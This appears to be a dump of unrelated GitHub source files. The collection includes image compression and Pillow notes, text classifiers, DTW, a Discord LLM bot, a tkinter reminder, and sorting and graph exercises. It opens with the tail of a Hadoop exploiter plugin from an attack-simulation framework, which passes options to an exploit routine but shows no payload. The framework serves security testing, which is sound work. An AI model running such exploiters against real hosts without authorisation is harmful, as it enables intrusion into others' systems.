agent_otp_environment_variable,\n )\n\n def run(\n self,\n *,\n host: TargetHost,\n servers: Sequence[str],\n current_depth: int,\n options: Dict[str, Any],\n interrupt: Event,\n **kwargs,\n ) -> ExploiterResult:\n try:\n logger.debug(f\"Parsing options: {pformat(options)}\")\n hadoop_options = HadoopOptions(**options)\n except Exception as err:\n msg = f\"Failed to parse Hadoop options: {err}\"\n logger.exception(msg)\n return ExploiterResult(error_message=msg)\n\n try:\n logger.debug(f\"Running Hadoop exploiter on host {host.ip}\")\n return self._hadoop_exploiter.exploit_host(\n host, servers, current_depth, hadoop_options, interrupt\n )\n except Exception as err:\n msg = f\"An unexpected exception occurred while attempting to exploit host: {err}\"\n logger.exception(msg)\n return ExploiterResult(error_message=msg)\n","repo_name":"guardicore/monkey","sub_path":"monkey/agent_plugins/exploiters/hadoop/src/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":6367,"dataset":"github-code","pt":"21"} +{"seq_id":"44078738601","text":"import streamlit as st\nfrom PIL import Image\nimport numpy as np\nimport os\nfrom googletrans import Translator\nfrom PIL import Image\nfrom io import BytesIO\nimport glob\nimport shutil\n\nclass TranceAncker():\n\n def translate_ja(self, txt):\n tr = Translator()\n txt = ''.join(filter(str.isalnum, txt))\n print(txt)\n txt = tr.translate(txt, src=\"ja\", dest=\"en\").text.lower().replace(' ', '_')\n return txt\n\nclass Tinypng():\n \n def __init__(self):\n self.translator = TranceAncker()\n \n def return_pc(self, COMPRESS_QUALITY: 30, file_name_ja):\n self.COMPRESS_QUALITY = COMPRESS_QUALITY # 圧縮のクオリティ\n self.file_name_ja = file_name_ja\n\n file_name_en = self.translator.translate_ja(self.file_name_ja)\n\n images = glob.glob(\"./imgs/*\")\n\n out_put_dir = './output_dir/'\n\n if not os.path.exists(out_put_dir):\n os.makedirs(out_put_dir)\n\n for i, image in enumerate(images):\n file_name = os.path.splitext(os.path.basename(image))[0]\n with open(image, 'rb') as inputfile:\n # バイナリモードファイルをPILイメージで取得\n im = Image.open(inputfile).convert('RGB')\n # JPEG形式の圧縮を実行\n im_io = BytesIO()\n im.save(im_io, 'JPEG', quality = self.COMPRESS_QUALITY)\n with open('./output_dir/' + file_name_en + str(i) + '.jpg', mode='wb') as outputfile:\n # 出力ファイル(comp_png_image.png)に書き込み\n outputfile.write(im_io.getvalue())\n\n\ntranslater = TranceAncker()\nIMG_PATH = 'imgs'\nOUTPUT_PATH='output_dir'\ninput_dir = './imgs/'\n\nif not os.path.exists(input_dir):\n os.makedirs(input_dir)\n\ntext_ja = st.text_input('画像にあった語句を入れてね!(日本語)')\nCOMPRESS_QUALITY = st.slider('画像のクオリティーを選択〜', min_value = 10, max_value = 100, value =50)\nif text_ja:\n files = st.file_uploader('画像をアップロードしてください.', type=['jpg', 'jpeg', 'png'], accept_multiple_files = True)\n file_name_en = translater.translate_ja(text_ja)\n\n for file in files:\n img_path = os.path.join(IMG_PATH, file.name)\n with open(img_path, 'wb') as f:\n f.write(file.read())\n \n if files:\n tiny = Tinypng()\n tiny.return_pc(COMPRESS_QUALITY, text_ja)\n shutil.make_archive('output_dir', format='zip', root_dir='output_dir')\n \n with open(\"./output_dir.zip\", \"rb\") as fp:\n btn = st.download_button(\n label=\"Download zip\",\n data=fp,\n file_name=\"output_dir.zip\",\n mime=\"application/zip\"\n )\n \n \n if(os.path.isfile('./output_dir.zip') == True):\n os.remove('./output_dir.zip')\n \n \n \n if(os.path.isdir('./imgs/') == True):\n shutil.rmtree('./imgs/')\n if(os.path.isdir('./output_dir/') == True):\n shutil.rmtree('./output_dir/')\nelse:\n st.error('画像にあった語句を入れてください!')\n\n \n","repo_name":"SuzukiHarumasa/harumaketinypng","sub_path":"tinypng.py","file_name":"tinypng.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6569203753","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2020/12/27 23:31\n@Auth : 高冷Aloof\n@File :方法.py\n@IDE :PyCharm\n@Motto:ABC(Always Be Coding)\n\"\"\"\nfrom PIL import Image\nim = Image.open(\"1.png\")\nim.show()\n\n\n# format属性定义了图像的格式,如果图像不是从文件打开的,那么该属性值为None;size属性是一个tuple,\n# 表示图像的宽和高(单位为像素);mode属性为表示图像的模式,常用的模式为:L为灰度图,RGB为真彩色,CMYK为pre-press图像。如果文件不能打开,则抛出IOError异常。\nprint(im.format, im.size, im.mode)\n\n# save保存\nim.save(\"c:\\\\\")\n\n# convert\n# convert() 是图像实例对象的一个方法,接受一个 mode 参数,用以指定一种色彩模式,mode 的取值可以是如下几种:\n\"\"\"\n· 1 (1-bit pixels, black and white, stored with one pixel per byte) \n· L (8-bit pixels, black and white) \n· P (8-bit pixels, mapped to any other mode using a colour palette) \n· RGB (3x8-bit pixels, true colour) \n· RGBA (4x8-bit pixels, true colour with transparency mask) \n· CMYK (4x8-bit pixels, colour separation) \n· YCbCr (3x8-bit pixels, colour video format) \n· I (32-bit signed integer pixels) \n· F (32-bit floating point pixels)\n\"\"\"\nim = Image.open('1.png').convert('L')\n\n# Filter\nfrom PIL import Image, ImageFilter\nim = Image.open('1.png')\n# 高斯模糊\nim.filter(ImageFilter.GaussianBlur)\n# 普通模糊\nim.filter(ImageFilter.BLUR)\n# 边缘增强\nim.filter(ImageFilter.EDGE_ENHANCE)\n# 找到边缘\nim.filter(ImageFilter.FIND_EDGES)\n# 浮雕\nim.filter(ImageFilter.EMBOSS)\n# 轮廓\nim.filter(ImageFilter.CONTOUR)\n# 锐化\nim.filter(ImageFilter.SHARPEN)\n# 平滑\nim.filter(ImageFilter.SMOOTH)\n# 细节\nim.filter(ImageFilter.DETAIL)","repo_name":"Aloof-0/codesr","sub_path":"Pillow图像模块/方法.py","file_name":"方法.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"2836075554","text":"# -*- coding: utf-8 -*-\n\nfrom sklearn import metrics, svm, neural_network\n\nfrom data.cnews_loader import *\n\nbase_dir = 'data/cnews'\ntrain_dir = os.path.join(base_dir, 'cnews.train.txt')\ntest_dir = os.path.join(base_dir, 'cnews.test.txt')\nvocab_dir = os.path.join(base_dir, 'cnews.vocab.txt')\n\n\ndef train():\n print(\"start training...\")\n # 处理训练数据,如果矩阵过大,可以采用Python scipy库中对稀疏矩阵的优化算法:scipy.sparse.csr_matrix((dd, (row, col)), )\n train_feature, train_target = process_file(train_dir, word_to_id, cat_to_id) # 词频特征\n # train_feature, train_target = process_tfidf_file(train_dir, word_to_id, cat_to_id) # TF-IDF特征\n # 模型训练\n model.fit(train_feature, train_target)\n\n\ndef test():\n print(\"start testing...\")\n # 处理测试数据\n test_feature, test_target = process_file(test_dir, word_to_id, cat_to_id)\n # test_feature, test_target = process_tfidf_file(test_dir, word_to_id, cat_to_id) # 不能直接这样处理,应该取训练集的IDF值\n test_predict = model.predict(test_feature) # 返回预测类别\n # test_predict_proba = model.predict_proba(test_feature) # 返回属于各个类别的概率\n # test_predict = np.argmax(test_predict_proba, 1) # 返回概率最大的类别标签\n\n # accuracy\n true_false = (test_predict == test_target)\n accuracy = np.count_nonzero(true_false) / float(len(test_target))\n print()\n print(\"accuracy is %f\" % accuracy)\n\n # precision recall f1-score\n print()\n print(metrics.classification_report(test_target, test_predict, target_names=categories))\n\n # 混淆矩阵\n print(\"Confusion Matrix...\")\n print(metrics.confusion_matrix(test_target, test_predict))\n\n\nif not os.path.exists(vocab_dir):\n # 构建词典表\n build_vocab(train_dir, vocab_dir)\n\ncategories, cat_to_id = read_category(test_dir)\nwords, word_to_id = read_vocab(vocab_dir)\n\n# kNN\n# model = neighbors.KNeighborsClassifier()\n# decision tree\n# model = tree.DecisionTreeClassifier()\n# random forest\n# model = ensemble.RandomForestClassifier(n_estimators=10) # n_estimators为基决策树的数量,一般越大效果越好直至趋于收敛\n# AdaBoost\n# model = ensemble.AdaBoostClassifier(learning_rate=1.0) # learning_rate的作用是收缩基学习器的权重贡献值\n# GBDT\n# model = ensemble.GradientBoostingClassifier(n_estimators=10)\n# xgboost\n# model = xgboost.XGBClassifier(n_estimators=10)\n# Naive Bayes\n# model = naive_bayes.MultinomialNB()\n# logistic regression\n# model = linear_model.LogisticRegression() # ovr\n# model = linear_model.LogisticRegression(multi_class=\"multinomial\", solver=\"lbfgs\") # softmax回归\n# SVM\n# model = svm.LinearSVC() # 线性,无概率结果\n# model = svm.SVC() # 核函数,训练慢\n# MLP\nmodel = neural_network.MLPClassifier(hidden_layer_sizes=(512, 128), max_iter=200, verbose=True, early_stopping=True) # 注意max_iter是epoch数\n\ntrain()\ntest()\n","repo_name":"qianshuang/ml-exp","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31302446322","text":"import torch\n\nfrom torchnlp.text_encoders.reserved_tokens import EOS_INDEX\nfrom torchnlp.text_encoders.reserved_tokens import UNKNOWN_INDEX\nfrom torchnlp.text_encoders.reserved_tokens import RESERVED_ITOS\nfrom torchnlp.text_encoders.subword_text_tokenizer import SubwordTextTokenizer\nfrom torchnlp.text_encoders.text_encoder import TextEncoder\n\n\nclass SubwordEncoder(TextEncoder):\n \"\"\" Invertibly encoding text using a limited vocabulary.\n\n Applies Googles Tensor2Tensor SubwordTextTokenizer that invertibly encodes a native string as a\n sequence of subtokens from a limited vocabulary. In order to build the vocabulary, it uses\n recursive binary search to find a minimum token count `x`\n (s.t. `min_occurrences` <= `x` <= `max_occurrences`) that most closely matches the\n `target_size`.\n\n **Tokenizer Reference:**\n https://github.com/tensorflow/tensor2tensor/blob/8bdecbe434d93cb1e79c0489df20fee2d5a37dc2/tensor2tensor/data_generators/text_encoder.py#L389\n\n Args:\n sample (list of str): Sample of data to build dictionary on\n append_eos (bool, optional): If `True` append EOS token onto the end to the encoded vector.\n target_vocab_size (int, optional): Desired size of vocab.\n min_occurrences (int, optional): Lower bound for the minimum token count.\n max_occurrences (int, optional): Upper bound for the minimum token count.\n reserved_tokens (list of str, optional): Tokens added to dictionary; reserving the first\n `len(reserved_tokens)` indexes.\n \"\"\"\n\n def __init__(self,\n sample,\n append_eos=False,\n target_vocab_size=None,\n min_occurrences=1,\n max_occurrences=1e3,\n reserved_tokens=RESERVED_ITOS):\n self.append_eos = append_eos\n\n if target_vocab_size is None:\n self.tokenizer = SubwordTextTokenizer()\n self.tokenizer.build_from_corpus(sample, min_count=min_occurrences)\n else:\n\n target_vocab_size -= len(reserved_tokens)\n self.tokenizer = SubwordTextTokenizer.build_to_target_size_from_corpus(\n sample,\n target_size=target_vocab_size,\n min_val=min_occurrences,\n max_val=max_occurrences)\n\n self.itos = reserved_tokens.copy()\n self.stoi = {token: index for index, token in enumerate(reserved_tokens)}\n for token in self.tokenizer.vocab:\n self.itos.append(token)\n self.stoi[token] = len(self.itos) - 1\n\n @property\n def vocab(self):\n return self.itos\n\n def encode(self, text, eos_index=EOS_INDEX, unknown_index=UNKNOWN_INDEX):\n text = self.tokenizer.encode(text)\n vector = [self.stoi.get(token, unknown_index) for token in text]\n if self.append_eos:\n vector.append(eos_index)\n return torch.LongTensor(vector)\n\n def decode(self, tensor):\n tokens = [self.itos[index] for index in tensor]\n return self.tokenizer.decode(tokens)\n","repo_name":"walton-wang929/NLP-resources","sub_path":"PyTorch-NLP/torchnlp/text_encoders/subword_encoder.py","file_name":"subword_encoder.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6474537276","text":"class CountingSort():\n def counting_sort(self, a):\n m = min(a)\n M = max(a)\n k = M - m + 1\n c = [0]*k\n for i in a:\n c[i-m] += 1\n for i in range(1, len(c)):\n c[i] = c[i] + c[i-1] # for c , c[i] means leq i number\n b = [0] * len(a)\n for i in range(len(a)-1, -1, -1):\n c[a[i]-m] -= 1\n b[c[a[i]-m]] = a[i] # a[i] locate at c[a[i]-m] \n\n return b\n\ncs = CountingSort()\nl = [3,6,4,8,9,1]\nprint('befort sort:', l)\nprint('after sort:', cs.counting_sort(l))\n","repo_name":"wrzzd/AlgorithmCode","sub_path":"FundamentalAlgorithm/Sort/counting_sort.py","file_name":"counting_sort.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74815883571","text":"import random\nfrom numpy import inf\nfrom DTW import dtw\nfrom math import isinf\n\nclass bandDTW(dtw):\n '''\n bandDTW : add global constraints on DTW to increase its speed by limiting how far the warping path\n may stray from the diagonal of the warping matrix\n '''\n def __init__(self, seq_a, seq_b, window_size=inf):\n dtw.__init__(self, seq_a, seq_b)\n self.w = window_size\n\n def set_matrix(self):\n '''\n The first step to generate the sparse dtw matrix. If cells in the matrix are not blocked, it will be changed to\n the euclidean distance of two elements. If two elements are the same, set -1 in the cell.\n :return: the original matrix.\n '''\n if self.w <= abs(self.length_b - self.length_a) :\n raise Exception(\"Window size is too small. Window size should bigger than %s\" % abs(self.length_a - self.length_b))\n if self.dim != 1:\n self.seq_a = self.normalize(self.seq_a)\n self.seq_b = self.normalize(self.seq_b)\n for index_a in range(self.length_a):\n for index_b in range(self.length_b):\n if (isinf(self.w) or (max(0, index_a - self.w) <= index_b <= min(self.length_b, index_a + self.w))):\n self.set_distance(index_a, index_b)\n self.count += 1\n\n def lower_neighbor(self, row, col): #get the coordinates of lower neighbors\n l_neighbor = []\n if row - 1 >= 0 and abs(row-1-col) < self.w:\n l_neighbor.append((row-1, col))\n if col - 1 >= 0 and abs(row-col+1) < self.w:\n l_neighbor.append((row, col-1))\n if row - 1 >= 0 and col - 1 >= 0:\n l_neighbor.append((row-1, col-1))\n return l_neighbor\n\n\nclass window_bandDTW(bandDTW):\n def __init__(self, seq_a, seq_b, window_size, window = None):\n bandDTW.__init__(self,seq_a, seq_b, window_size)\n self.window = window\n\n def set_matrix(self):\n '''\n The first step to generate the sparse dtw matrix. If cells in the matrix are not blocked, it will be changed to\n the euclidean distance of two elements. If two elements are the same, set -1 in the cell.\n :return: the original matrix.\n '''\n if self.window is None:\n super().set_matrix()\n else:\n if self.w <= abs(self.length_b - self.length_a):\n raise Exception(\n \"Window size is too small. Window size should bigger than %s\" % abs(self.length_a - self.length_b))\n if self.dim != 1:\n self.seq_a = self.normalize(self.seq_a)\n self.seq_b = self.normalize(self.seq_b)\n for index_a in range(self.length_a):\n for index_b in range(self.length_b):\n if (isinf(self.w) or (max(0, index_a - self.w) <= index_b <= min(self.length_b, index_a + self.w))):\n if (index_a, index_b) in self.window:\n self.set_distance(index_a, index_b)\n self.count += 1\n\n def lower_neighbor(self, row, col):\n l_neighbors = super().lower_neighbor(row, col)\n if self.window is None:\n return l_neighbors\n return [l_neighbor for l_neighbor in l_neighbors if l_neighbor in self.window]\n\n\nif __name__ == '__main__':\n seq1_dim = random.randint(1, 10)\n seq1_a = [[random.uniform(1, 10) for _ in range(10)] for _ in range(seq1_dim)]\n seq1_b = [[random.uniform(1, 10) for _ in range(10)] for _ in range(seq1_dim)]\n bdtw = bandDTW(seq1_a, seq1_b, 5)\n print(bdtw())\n print(bdtw.to_array())\n\n\n","repo_name":"123123123nhc/DC_sparseDTW","sub_path":"dtw/bandDTW.py","file_name":"bandDTW.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3973235395","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'\nos.environ['CUDA_VISIBLE_DEVICES'] = '-1'\n\nimport tensorflow as tf\nfrom tensorflow.python.keras.layers import Input, Dense, Concatenate, ReLU, LeakyReLU, Add\nfrom tensorflow.python.keras.models import Model\nimport numpy as np\nimport pickle as pkl\nimport matplotlib.pyplot as plt\nfrom utils import *\nfrom tqdm import trange\nfrom circle_env import CircleEnv\nfrom sklearn.metrics import classification_report\n\nenv = CircleEnv()\nload_trpo_weights = True\n\ndef create_generator(state_dims, code_dims):\n initializer = tf.keras.initializers.GlorotNormal()\n states = Input(shape=state_dims)\n x = Dense(100, kernel_initializer=initializer, activation='tanh')(states)\n # x = ReLU()(x)\n codes = Input(shape=code_dims)\n c = Dense(64, kernel_initializer=initializer, activation='tanh')(codes)\n # c = ReLU()(c)\n # h = Add()([x, c])\n h = Concatenate(axis=1)([x,c])\n actions = Dense(2)(h)\n\n model = Model(inputs=[states,codes], outputs=actions)\n return model\n\ndef create_posterior(state_dims, action_dims, code_dims):\n initializer = tf.keras.initializers.HeNormal()\n states = Input(shape=state_dims)\n actions = Input(shape=action_dims)\n merged = tf.concat([states,actions], 1)\n x = Dense(128, kernel_initializer=initializer)(merged)\n x = LeakyReLU()(x)\n x = Dense(128, kernel_initializer=initializer)(x)\n x = LeakyReLU()(x)\n x = Dense(code_dims)(x)\n output = tf.keras.activations.softmax(x)\n\n model = Model(inputs=[states, actions], outputs=output)\n return model\n\ndef generate_policy(generator, code):\n s_traj = []\n a_traj = []\n c_traj = []\n\n # generate actions for every current state\n state_obsrv = env.reset() # reset environment state\n code_tf = tf.constant(code)\n code_tf = tf.expand_dims(code_tf, axis=0)\n\n while True:\n # 1. generate actions with generator\n state_tf = tf.constant(state_obsrv)\n state_tf = tf.expand_dims(state_tf, axis=0)\n action_mu = generator([state_tf, code_tf], training=False)\n action_mu = tf.squeeze(action_mu).numpy()\n\n # current_state = (state_obsrv[-2], state_obsrv[-1])\n s_traj.append(state_obsrv)\n a_traj.append(action_mu)\n c_traj.append(code)\n\n # 2. environment step\n state_obsrv, done = env.step(action_mu)\n\n if done:\n s_traj = np.array(s_traj, dtype=np.float32)\n a_traj = np.array(a_traj, dtype=np.float32)\n c_traj = np.array(c_traj, dtype=np.float32)\n break\n\n return (s_traj, a_traj, c_traj)\n\ngenerator = create_generator(10, 3)\nposterior = create_posterior(10, 2, 3)\n\nif load_trpo_weights: generator.load_weights('./saved_models/trpo/generator.h5')\nelse: generator.load_weights('./saved_models/bc/generator.h5')\nposterior.load_weights('./saved_models/trpo/posterior.h5')\n\nexpert_states, expert_actions, expert_codes = pkl.load(open(\"expert_traj.pkl\", \"rb\"))\n\nexpert_states = np.concatenate(expert_states)\nexpert_actions = np.concatenate(expert_actions)\nexpert_codes = np.concatenate(expert_codes)\n\n# InfoGAIL accuracy method\nsampled_expert_idx = np.random.choice(expert_states.shape[0], 2000, replace=False)\nsampled_expert_states = expert_states[sampled_expert_idx, :]\nsampled_expert_actions = expert_actions[sampled_expert_idx, :]\nsampled_expert_codes = np.argmax(expert_codes[sampled_expert_idx, :], axis=1)\nprobs = posterior([sampled_expert_states, sampled_expert_actions], training=False).numpy()\ncodes_pred = np.argmax(probs, axis=1)\n\nprint('Posterior accuracy over expert state-action pairs')\nprint(classification_report(sampled_expert_codes, codes_pred))\n\ncolors = ['red','blue','green']\nplt.figure()\n# plt.xlim(-1,1)\n# plt.ylim(-1,1)\nfor i in trange(8):\n pick = np.random.choice(3, 1)[0]\n one_hot = np.zeros((3,))\n one_hot[pick] = 1\n traj = generate_policy(generator, one_hot)\n plt.scatter(traj[0][:, -2], traj[0][:, -1], s=4, c=colors[pick], alpha=0.4)\nplt.savefig(\"./plots/generated_trajectories\", dpi=100)\nplt.close()","repo_name":"MatthewZid/reproduce_circles","sub_path":"test_generator.py","file_name":"test_generator.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"35866101179","text":"# pypy로 해결\n\nimport sys\n\ninput = sys.stdin.readline\n\n\ndef dfs(x, y, visited):\n # 상, 하, 좌, 우, 대각선\n move = [\n [0, -1],\n [0, 1],\n [-1, 0],\n [1, 0],\n [1, 1],\n [1, -1],\n [-1, 1],\n [-1, -1]\n ]\n\n for i in range(8):\n dx, dy = move[i]\n nx = x + dx\n ny = y + dy\n\n if 0 <= nx <= w-1 and 0 <= ny <= h-1:\n if visited[ny][nx] == 0:\n visited[ny][nx] = 1\n if arr[ny][nx] == 1:\n dfs(nx, ny, visited)\n\n\nresult = []\n# 입력\nwhile True:\n w, h = map(int, input().split())\n if w == 0 and h == 0:\n break\n\n arr = []\n for _ in range(h):\n arr.append(list(map(int, input().split())))\n\n cnt = 0\n visited = [[0] * w for _ in range(h)]\n for i in range(w):\n for j in range(h):\n if arr[j][i] == 1 and visited[j][i] == 0:\n dfs(i, j, visited)\n cnt += 1\n\n result.append(cnt)\n\nfor cnt in result:\n print(cnt, end=\"\\n\")\n","repo_name":"combiJihoon/AlgorithmStudy","sub_path":"week4/4963.py","file_name":"4963.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10966955634","text":"# bot.py\nfrom header.discord_bot_header import *\nfrom settings import *\n\nclient = discord.Client(intents=discord.Intents.all())\ngptj = LLM_interface(model_name=model_name_to_use, model_path=model_path_to_use, n_ctx=n_ctx)\n\nblock: bool = False\n\ndef load_data() -> tuple[dict, list]:\n try:\n f = open('prompt_backup.json')\n prompt = json.load(f)\n f.close()\n except FileNotFoundError:\n prompt = dict()\n try:\n f = open('known_names_backup.json')\n known_names = json.load(f)\n f.close()\n except FileNotFoundError:\n known_names = list()\n return prompt, known_names\n\nprompt, known_names = load_data()\n\n# TODO: edit it so that it uses numpy arrays from the beginning\n# Levenshtein distance \n@jit(nopython=True, fastmath=True)\ndef check_similarity(str1: str, str2:str) -> float:\n if str1 == str2:\n return 1.0\n\n len1: int = len(str1)\n len2:int = len(str2)\n matrix: list = [[0] * (len2 + 1) for _ in range(len1 + 1)]\n\n for i in range(len1 + 1):\n matrix[i][0] = i\n for j in range(len2 + 1):\n matrix[0][j] = j\n\n matrix_np = np.array(matrix)\n\n for i in range(1, len1 + 1):\n for j in range(1, len2 + 1):\n if str1[i-1] == str2[j-1]:\n cost = 0\n else:\n cost = 1\n matrix_np[i][j] = min(\n matrix_np[i - 1][j] + 1, # Deletion\n matrix_np[i][j - 1] + 1, # Insertion\n matrix_np[i - 1][j - 1] + cost # Substitution\n )\n\n max_len: int = max(len1, len2)\n similarity = 1 - (matrix_np[len1][len2] / max_len)\n return similarity\n\n@jit(nopython=True)\ndef detokenize(words) -> str:\n text = ' '.join(words)\n step1 = text.replace(\"`` \", '\"').replace(\" ''\", '\"').replace('. . .', '...')\n step2 = step1.replace(\" ( \", \" (\").replace(\" ) \", \") \")\n step4 = ''\n for word in step2.split(' '):\n if word in ['.',',',':',';','?','!','%', '\"']:\n step4 = step4 + word\n else:\n step4 = step4 + ' ' + word\n step5 = step4.replace(\" '\", \"'\").replace(\" n't\", \"n't\").replace(\n \"can not\", \"cannot\")\n step6 = step5.replace(\" ` \", \" '\")\n return step6.strip()\n\ndef chat_complete(name: str, message: str, prompt_history_org: dict, server_id: int) -> tuple[T, str]:\n global block, known_names\n while block: \n time.sleep(0.1)\n prompt_history_to_return = prompt_history_org.copy()\n prompt_history = dict()\n name_without_number: str = name.split('#')[0]\n if not name_without_number in known_names:\n known_names.append(name_without_number)\n del prompt_history_org\n if single_user_mode:\n try:\n prompt_history_to_return[name]\n except:\n prompt_history_to_return[name] = base_prompt['base'].copy()\n prompt_history_to_return[name].append({\"role\": \"user\", \"content\": \"\" + name_without_number + \"» \" + message})\n prompt_history = prompt_history_to_return[name]\n else:\n try:\n prompt_history_to_return[server_id]\n except:\n prompt_history_to_return[server_id] = base_prompt['base'].copy()\n prompt_history_to_return[server_id].append({\"role\": \"user\", \"content\": \"\" + name_without_number + \"» \" + message})\n prompt_history = prompt_history_to_return[server_id]\n block = True\n result = gptj.chat_completion(prompt_history, repeat_penalty=1.5, temp=1.0)\n block = False \n print(result)\n if result['choices'][0]['message']['content'] == \"\" or result['choices'][0]['message']['content'] == '\\u200b':\n prompt_history.pop()\n gptj.reset_seed()\n return chat_complete(name=name, message=message+\".\", prompt_history_org=prompt_history, server_id=server_id)\n response = result['choices'][0]['message']['content']\n response = process_response(response, user_name = name_without_number, currently_known_names=known_names)\n if single_user_mode:\n prompt_history_to_return[name].append({\"role\": \"assistant\", \"content\":response})\n block = False\n return prompt_history_to_return, response\n else:\n prompt_history_to_return[server_id].append({\"role\": \"assistant\", \"content\":\"Ellie» \" + response})\n block = False\n return prompt_history_to_return, response\n\n# Processing the response before tokenization\n@jit(nopython=True)\ndef pre_process_response(input: str) -> str:\n input = input.replace(':(', \"😔\").replace(':)', \"😊\").replace(':D', \"😃\").replace(':p', \"😛\").replace(':/','😕').replace(':O','😮')\n response = input.replace('«', '')\n response_split = response.split('»')\n if len(response_split) > 1:\n response = response_split[1]\n else:\n response = response_split[0]\n if response[0] == '\"':\n list_response = list(response) \n list_response[0] = ''\n response = ''.join(list_response)\n elif response.endswith('\"'):\n list_response = list(response) \n list_response[\n len(list_response) - 1\n ] = ''\n response = ''.join(list_response)\n return response \n\n# Processing the response after tokenization\n@jit(nopython=True)\ndef post_process_response(tokenized_response: list[str], assistant_name: str, currently_known_names: list[str]) -> str:\n if (check_similarity(tokenized_response[0], assistant_name) > 0.8):\n tokenized_response[0] = ''\n for i, token in enumerate(tokenized_response):\n for name in currently_known_names:\n if (check_similarity(name, token) > 0.8):\n tokenized_response[i] = name\n return tokenized_response\n\n# Processing the response to make outputs from LLM to make a bit more sense \ndef process_response(response: str, user_name: str, currently_known_names: list[str]) -> str:\n response = pre_process_response(response)\n tokenized_response = list(nltk.word_tokenize(response))\n tokenized_response = post_process_response(tokenized_response, assistant_name, currently_known_names)\n response = detokenize(tokenized_response)\n return response\n\ndef record_logs() -> None:\n with open('prompt_backup.json', 'w') as f:\n json.dump(prompt, f, indent=4)\n with open('known_names_backup.json', 'w') as f:\n json.dump(known_names, f)\n\nsched = BackgroundScheduler(daemon=True)\nsched.add_job(record_logs,'interval',minutes=1)\nsched.start()\n\n# Runs chat_complete in a non-blocking manner so that the bot stays alive while running chat completion.\nasync def run_chat_complete(chat_complete: typing.Callable, *args, **kwargs) -> typing.Any:\n func = functools.partial(chat_complete, *args, **kwargs)\n return await client.loop.run_in_executor(None, func)\n\n@client.event\nasync def on_ready():\n print(f'{client.user} has connected to Discord!')\n\n@client.event\nasync def on_message(message):\n global prompt\n\n if message.author == client.user:\n return\n \n if multi_server_mode:\n try:\n server_id = message.channel.guild.id\n except:\n server_id = message.id\n else:\n server_id = 0\n \n if not message.content.startswith('!e'):\n if client.user.mention in message.content:\n message_content = message.content[23:]\n print(message_content)\n prompt, response_touse = await run_chat_complete(chat_complete, name=str(message.author).split('#')[0], message=message_content, prompt_history_org=prompt, server_id=server_id)\n await message.channel.send(str(message.author.mention) + \" \" + response_touse)\n else:\n if message.content.startswith('!e status'):\n if single_user_mode:\n await message.channel.send(assistant_name + \" Running in single user mode\")\n await message.channel.send(\"Context Size: \" + str(len(prompt[str(message.author).split('#')[0]])))\n else:\n await message.channel.send(\"Ellie Running in multi user mode\")\n elif message.content.startswith('!e server_id'):\n await message.channel.send(str(server_id))\n\n \n\n\n\n\n\nclient.run(TOKEN)\n\n\n","repo_name":"SlackCrow/Ellie-Discord-Bot-Powered-by-LLaMA","sub_path":"discord_bot.py","file_name":"discord_bot.py","file_ext":"py","file_size_in_byte":8096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"949597295","text":"\n# A FAZER\n# ADAPTAR O TAMNHO DA JANELA AO TAMNHO DO BOTAO QUE JA ESTA ADAPTADO\n\nfrom configparser import *\nfrom tkinter import *\n\n# Configuração\nconfig = ConfigParser()\nconfig.read('warning.config')\nstart = config.get('START','start')\n\n#Tela Inicial\ndef greetings():\n root = Tk()\n root.title(\"Boas Vindas\")\n root.geometry(\"300x400+200+100\")\n \n label = Label(text='HELLO', fg='white', bg='blue')\n label.pack(pady=30)\n \n root.mainloop()\n \n# Mostra Configuração\ndef show_config():\n root = Tk()\n root.title(\"Configuração\")\n root.geometry(\"300x400+100+100\")\n \n config.set('START', 'start', '1')\n \n with open('warning.config', 'w') as configfile:\n config.write(configfile)\n \n root.mainloop()\n \n# Pisca o Botao\ndef blink_label(label):\n fg_color = label.cget(\"foreground\")\n bg_color = label.cget(\"background\")\n label.config(foreground=bg_color, background=fg_color)\n label.after(500, blink_label, label)\n\n# Tela de alerta\ndef show_alert():\n root = Tk()\n root.overrideredirect(True)\n root.geometry(\"700x150+100+100\")\n root.configure(bg=\"red\")\n \n \n bt1 = Button(root, text=\"INTERVALO\", \\\n font=(\"Arial\", 80), bg=\"red\", fg=\"white\", \\\n command=root.destroy \\\n )\n bt1.config(height=bt1.winfo_reqheight()) # recommended\n bt1.pack(fill=\"x\")\n\n blink_label(bt1)\n\n root.mainloop()\n\n\nif start == '1' :\n greetings()\nelse:\n show_alert()\n","repo_name":"LeonardoSource/warning-desktop","sub_path":"warning-desktop.py","file_name":"warning-desktop.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1189790081","text":"'''\nDefinition and some transformation functions for Cityscapes dataset\nThe following definition are copied from github repository:\n mcordts/cityscapesScripts/cityscapesscripts/helpers/labels.py\n'''\nfrom collections import namedtuple\nfrom torchvision import transforms\nimport os\nfrom torch.utils.data import Dataset\nfrom utils.functions import generate_txt\nfrom utils.transformations import *\n\n\"\"\"###############\"\"\"\n\"\"\"# Definitions 